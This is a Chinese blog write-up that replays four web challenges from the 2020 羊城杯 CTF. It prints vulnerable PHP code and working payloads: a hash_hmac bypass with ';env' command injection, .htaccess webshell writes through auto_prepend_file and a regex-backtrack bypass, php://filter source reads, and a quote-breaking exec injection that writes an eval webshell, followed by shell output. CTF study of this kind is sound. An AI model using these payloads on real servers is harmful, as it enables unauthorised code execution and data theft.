羊城杯CTF 2020复现

[羊城杯 2020]Blackcat

破题点

注释中,在强调”听歌“那么这个视频多半有问题

注释中,在强调”听歌“那么这个视频多半有问题。然而,web 题,在CTF中,

  • 黑盒 fuzz,然后bypass
  • 黑盒文档阅读,找姿势
  • 黑盒google 搜利用
  • 白盒审计,然后就与黑盒类似了

知识点与解题过程

  • hash_hmac函数绕过
  • RCE,绕过

strings filename.mp4 ,在最后可以看到一段php代码。(或者用 xxd 也行。

1
2
3
4
5
6
7
8
9
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('
echo exec("nc".$_POST['One-ear']);

要RCE,首先需要满足 $hh !== $_POST['Black-Cat-Sheriff'], 然后执行exec("nc".$_POST['One-ear']);,参数可控。

hh 就是php解析器根据我们输入的内容生成的并赋值的。然后Black-Cat-Sheriff 是我们自己传的参数。

hash_hmac函数:

raw_output: 设置为 true 输出原始二进制数据, 设置为 false 输出小写 16 进制字符串。

这里比较坑,其实也不算吧。buu上一些题,flag不在flag.php或者/flag , /var/www/html/flag.php的话,那么就在env里面

1
2
php > var_dump(hash_hmac('sha256', ';env', NULL));
string(64) "afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b"

[羊城杯 2020]Break The Wall

破题点

知识储备。。

知识点与解题过程

  • 利用PHP bug 进行 UAF

https://bugs.php.net/bug.php?id=79820

1
2
3
4
5
6
7
<?php
error_reporting(0);
if(isset($_GET['c'])) {
eval($_GET['c']);
}else {
highlight_file(__FILE__);
}

disable_functions:

open_basedir:

/var/www/html/

[羊城杯2020]easyphp

  • .htaccess 利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

代码审计:

对写入的文件,进行判断,不是index.php的话,就删除掉。第一想的就是覆盖掉index.php,但是这里不行。写不了,可能是没有写的权限。

看了看WP,有两种思路:

  1. 向.htaccess 中写入WebShell,然后利用auto_prepend_file 包含 .htaccess 文件,因为WAF中ban掉了file字段,这里用换行绕过,最后与\nHello,world 拼接,为了保证 .htaccess 文件能够正常解析,即符号该配置文件的格式,用\符号处理一下
  2. 向.htaccess 中写配置,导致正则回溯失效,使preg_match 语句失效,然后利用伪协议写WebShell

payload:

1
2
3
4
5
6
7
8
9
10
11
# payload1
filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?
php%20system('cat%20/fl[a]g');?>\

# payload2
step1: 使正则失效
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
step2:利用php伪协议写入WebShell
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

[羊城杯 2020]Easyphp2

  • 任意文件读取 + 信息搜集能力
  • 单引号闭合RCE
  • 写shell | 反弹shell
  • ls -al 查看flag.txt 的文件所属用户,md5解密码,切换用户,cat flag.txt

完全是看wp才做出来。很有意思的题啊。

file 参数存在任意文件读取漏洞:

那么直接读源码试试。

直接读index.php 页面500,使用伪协议来读取,有WAF。

除了这个任意文件读取漏洞之外,cookie 中的pass 参数也有点意思?

回到页面上,”Sorry, only people from GWHT are allowed to access this website.23333“

以为是用Referer,但是这个Referer 在HTTP Header 中,是告诉Server 端,访问这个页面的用户,上一次是从哪个地方访问过来的。所以这里应该必须是正确的URL格式。试试把pass改为GWHT,就成功了,但是也没法直接读,用伪协议读,绕一下(换过滤器)。

1
2
php://filter/read=convert.iconv.utf-8.utf-7/resource=GWHT.php
php://filter/convert.quoted-printable-encode/resource=GWHT.php

这里看了evoA师傅的wp才知道,伪协议读源码,然后看源码中需要环境变量,然后读取 /proc/d+/environ 文件,才知道这个pass为GWHT的。但是我在buu上,没办法读/proc/ 下的文件,都是返回了500。?

https://reader-l.github.io/2020/09/10/2020%E7%BE%8A%E5%9F%8E%E6%9D%AFweb-wp/

1
<?php=0D=0A    ini_set('max_execution_time', 5);=0D=0A=0D=0A    if ($_COOKIE['pass'] !=3D=3D getenv('PASS')) {=0D=0A        setcookie('pass', 'PASS');=0D=0A        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A    <h1>A Counter is here, but it has someting wrong</h1>=0D=0A=0D=0A    <form>=0D=0A        <input type=3D"hidden" value=3D"GWHT.php" name=3D"file">=0D=0A        <textarea style=3D"border-radius: 1rem;" type=3D"text" name=3D"count" rows=3D10 cols=3D50></textarea><br />=0D=0A        <input type=3D"submit">=0D=0A    </form>=0D=0A=0D=0A    <?php=0D=0A    if (isset($_GET["count"])) {=0D=0A        $count =3D $_GET["count"];=0D=0A        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){=0D=0A        	die('hacker!');=0D=0A        }=0D=0A        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A</body>=0D=0A=0D=0A</html>

这里会将可控的输入count 进行字符串输出,;被ban掉了,

1
exec('printf \'' . $count . '\' | wc -c')

waf

1
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){=0D=0A        	die('hacker!');

先处理一下' 单引号,然后写shell,

1
exec('				prinf \'''&echo'<?eval($_POST[a])?>'>shell.php&''\'				')

buu 上,写不了?弹shell

根目录下有一个GWHT 目录,

1
2
3
4
5
6
7
8
[email protected]:/var/www/html$ ls /GWHT
ls /GWHT
README
avenged
dream
findaas
led
system

在README中得到hash

1
877862561ba0162ce610dd8bf90868ad414f0ec6.

解得为:GWHTCTF

1
2
3
4
5
6
7
8
9
[email protected]:/GWHT/system/of/a/down$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied
[email protected]:/GWHT/system/of/a/down$ ls -al
ls -al
total 4
drwxr-xr-x 1 root GWHT 22 Dec 27 13:17 .
drwxr-xr-x 1 root GWHT 18 Dec 27 13:17 ..
-r--r----- 1 root GWHT 43 Jan 8 11:33 flag.txt

持续学习很重要,久了不搞技术,很多东西都忘了,手生。

一些参考文章

心得总结

挖洞还是得看Burp Suite,打CTF还是老老实实用Hackerbar 或者 curl 吧。。。

Author: m0nk3y
Link: https://hack-for.fun/c8f6.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.